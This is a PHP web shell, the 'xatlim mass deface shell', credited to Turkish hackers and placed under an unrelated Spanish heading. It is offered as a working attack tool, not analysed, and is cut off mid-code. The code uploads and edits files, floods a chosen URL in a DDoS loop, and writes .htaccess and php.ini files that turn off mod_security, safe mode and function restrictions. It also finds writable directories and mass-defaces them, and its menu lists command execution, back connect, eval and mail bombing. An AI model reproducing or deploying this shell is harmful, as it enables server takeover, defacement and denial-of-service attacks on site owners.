MOVILIZACION de LOS VIGILADORES 23/06

<?php

session_start();

set_time_limit(0);

error_reporting(0);

if (get_magic_quotes_gpc()) {

function stripslashes_deep($value) {

$value = is_array($value) ?

array_map('stripslashes_deep', $value) :

stripslashes($value);

return $value;

}

$_POST = array_map('stripslashes_deep', $_POST);

$_GET = array_map('stripslashes_deep', $_GET);

$_COOKIE = array_map('stripslashes_deep', $_COOKIE);

$_REQUEST = array_map('stripslashes_deep', $_REQUEST);

}

if($_GET['do']=="remove"){

unlink(getcwd().$_SERVER["SCRIPT_NAME"]);

}

$basep=$_SERVER['DOCUMENT_ROOT'];

if(strtolower(substr(PHP_OS, 0, 3)) == "win"){

$slash="\\";

$basep=str_replace("/","\\",$basep);

}else{

$slash="/";

$basep=str_replace("\\","/",$basep);

}

if($_GET['do']=="remove"){

unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]);

}

if ($_REQUEST['address']){

if(is_readable($_REQUEST['address'])){

chdir($_REQUEST['address']);}else{

alert("Permission Denied !");}}

$me=$_SERVER['PHP_SELF'];

$formp="<form method=post action='".$me."'>";

$formg="<form method=get action='".$me."'>";

$nowaddress='<input type=hidden name=address value="'.getcwd().'">';

if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) {

if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){

alert("File Upload Successful");

}else{

alert("Permission Denied !");

}

if(ini_get('disable_functions')){

$disablef=ini_get('disable_functions');

}else{

$disablef="All Functions Enable";

}

if(ini_get('safe_mode')){

$safe_modes="On";

}else{

$safe_modes="Off";

}

if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){

if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");}

}

$picdir='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII=';

$picfile='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC';

$head='<style type="text/css">

A:link {text-decoration: none}

A:visited {text-decoration: none}

A:active {text-decoration: none}

A:hover {text-decoration: underline overline; color: 414141;}

.focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;}

</style><head>

<title>xatlim mass deface shell</title>

</head><body topmargin="0" leftmargin="0" rightmargin="0"

bgcolor="#f2f2f2"><div align="center">

<tr>

<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="/?do=home">Home</a> -- <a href="/?do=filemanager&address='.getcwd().'">File Manager</a> -- <a href="/?do=cmd&address='.getcwd().'">Command Execute</a> -- <a href="/?do=bc&address='.getcwd().'">Back Connect</a> --

<a href="/?do=bypasscmd&address='.getcwd().'">BypasS Command eXecute(SF-DF)</a> -- <a href="/?do=symlink&address='.getcwd().'">Symlink</a> --

<a href="/?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="/?do=eval&address='.getcwd().'">

Eval Php</a> -- <a href="/?do=db&address='.getcwd().'">Data Base</a> -- <a href="/?do=convert&address='.getcwd().'">Convert</a> -- <a href="/?do=mail&address='.getcwd().'">Mail Boomber</a><a href="/?do=info&address='.getcwd().'">

<br>Server Information</a> -- <a href="/?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="/?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="/?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="/?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="/?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="/?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="/?do=apache&address='.getcwd().'">Server</a> -- <a href="/?do=remove&address='.getcwd().'">Remove Me</a> -- <a href="/?do=about&address='.getcwd().'">About</a>

</span></font></td></tr></table></div>

<table id="table2" style="border-collapse: collapse; border-style:

solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6"

cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px;

border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd"

height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center">

Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);"

width="950" bgcolor="#e7e3de" height="10" valign="top">';

$end='</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">Coded by osmanlıtım TURK HACKER<br></a></font></span></td></tr></tbody></table></div></body></html>';

$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end;

function alert($text){

echo "<script>alert('".$text."')</script>";

}

if ($_GET['do']=="edit" && $_GET['filename']!="dir"){

if(is_readable($_GET['address'].$_GET['filename'])){

$opedit=fopen($_GET['address'].$_GET['filename'],"r");

while(!feof($opedit))

$data.=fread($opedit,9999);

fclose($opedit);

echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit;

}else{alert("Permission Denied !");}}

function sizee($size)

{

if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}

elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}

elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}

else {$size = $size . " B";}

return $size;

}

if($_REQUEST['do']=='about'){

echo $head."<p align='center'><b><font color=red>PisTqon Turk hacker</b></font><br>Version 2.1 <br>Last Update : 2010/10/10<br>Coded By PisTqon<br>Special Thanks(google.com )<br>

<PRE>

</PRE>

".$end;exit;

}

function deleteDirectory($dir) {

if (!file_exists($dir)) return true;

if (!is_dir($dir) || is_link($dir)) return unlink($dir);

foreach (scandir($dir) as $item) {

if ($item == '.' || $item == '..') continue;

if (!deleteDirectory($dir . "/" . $item)) {

chmod($dir . "/" . $item, 0777);

if (!deleteDirectory($dir . "/" . $item)) return false;

};}return rmdir($dir);}

function download($fileadd,$finame){

$dlfilea=$fileadd.$finame;

header("Content-Disposition: attachment; filename=" . $finame);

header("Content-Type: application/download");

header("Content-Length: " . filesize($dlfilea));

flush();

$fp = fopen($$dlfilea, "r");

while (!feof($fp))

{

echo fread($fp, 65536);

flush();

}

fclose($fp);

}

if($_GET['do']=="rename"){

echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit;

}

if ($_GET['byapache']=='ofms'){

$fse=fopen(getcwd().$slash.".htaccess","w");

fwrite($fse,'<IfModule mod_security.c>

Sec------Engine Off

Sec------ScanPOST Off

</IfModule>');

fclose($fse);

}elseif ($_GET['byapache']=='bysap'){

$fse=fopen(getcwd().$slash.".htaccess","w");

fwrite($fse,'Options +FollowSymLinks

DirectoryIndex Persian-Gulf-For-Ever.html');

fclose($fse);

}elseif ($_GET['byapache']=='sfadf'){

$fse=fopen(getcwd().$slash."php.ini","w");

fwrite($fse,'safe_mode=OFF

disable_functions=NONE');

fclose($fse);

}

if($_GET['do']=="apache"){

echo $head.$formg.$nowaddress.'<p align="center">

<option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option>

<option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option>

</select><br><input type=submit value=eXecute></form></p>'.$end;exit;

}

if($_GET['do']=="dd0s"){

echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>'.$end;exit;

}

if($_GET['urldd0'] && $_GET['timedd0']){

for ($id=0;$$id<$_GET['timedd0'];$id++){

$fp=null;

$contents=null;

$fp=fopen($_GET['urldd0'],"rb");

while (!feof($fp)) {

$contents .= fread($fp, 8192);

}

fclose($fp);

}}

if($_GET['do']=="dlfile"){

echo $head.$formp.$nowaddress.'<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value='.getcwd().$slash.' size=70><br><input type=submit value=" Download "></form></p>'.$end;exit;

}

function dirpe($addres){

global $slash;

$idd=0;

if ($dirhen = @opendir($addres)) {

while ($file = readdir($dirhen)) {

$permdir=str_replace('//','/',$addres.$slash.$file);

if($file!='.' && $file!='..' && is_dir($permdir)){

if (is_writable($permdir)) {

$dirdata[$idd]['filename']=$permdir;

$idd++;

}

dirpe($permdir);

}

closedir($dirhen);

} else {

return ("notperm");

}

if ($dirdata){

return $dirdata;

}else{

return "notfound";

}

function dirpmass($addres,$massname,$masssource){

global $slash;

$idd=0;

if ($dirhen = @opendir($addres)) {

while ($file = readdir($dirhen)) {

$permdir=str_replace('//','/',$addres.$slash.$file);

if($file!='.' && $file!='..' && is_dir($permdir)){

if (is_writable($permdir)) {

if ($fm=fopen($permdir.$slash.$massname,"w")){

fwrite($fm,$masssource);

fclose($fm);

$dirdata[$idd]['filename']=$permdir;

}

$idd++;

}

dirpmass($permdir);

}

closedir($dirhen);

} else {

return ("notperm");

}

if ($dirdata){

return $dirdata;

}else{

return "notfound";

}

if($_GET['do']=="perm"){

echo $head.$formp.'<p align="center">Find All Folder Writeable<br> <input name=affw value="'.getcwd().$slash.'" size=50><br><input type=submit value=" Search "></form></p>'.$end;exit;

}

if ($_POST['affw']){

$arrfilelist=dirpe($_POST['affw']);

if ($arrfilelist=='notfound'){

alert("Not Found !");

}elseif($arrfilelist=='notperm'){

alert("Permission Denied !");

}else{

foreach ($arrfilelist as $tmpdir){

if ($coi %2){

$colort='"#e7e3de"';

}else{

$colort='"#e4e1de"';}

$coi++;

$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">

<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="/?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>

<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';

}

echo $head.'

<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="/?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>

</tr></table>'.$permdir.'</table>

<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>

<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload --->  </td>

<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'

<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>

<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----></b>  File : </td>

<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>  Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>

<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----></b> Dirctory Name </td>

<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>

<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----></b> Name File </td>

<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>

<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----></b></b>  File : </td>

<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;

}}

if($_GET['do']=="mass"){

echo $head.$formp.'<p align="center">[Mass Deface]<br><input name=mffw value="'.getcwd().$slash.'" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value=" Mass "></form></p>'.$end;exit;

}

if ($_POST['mffw']){

$arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']);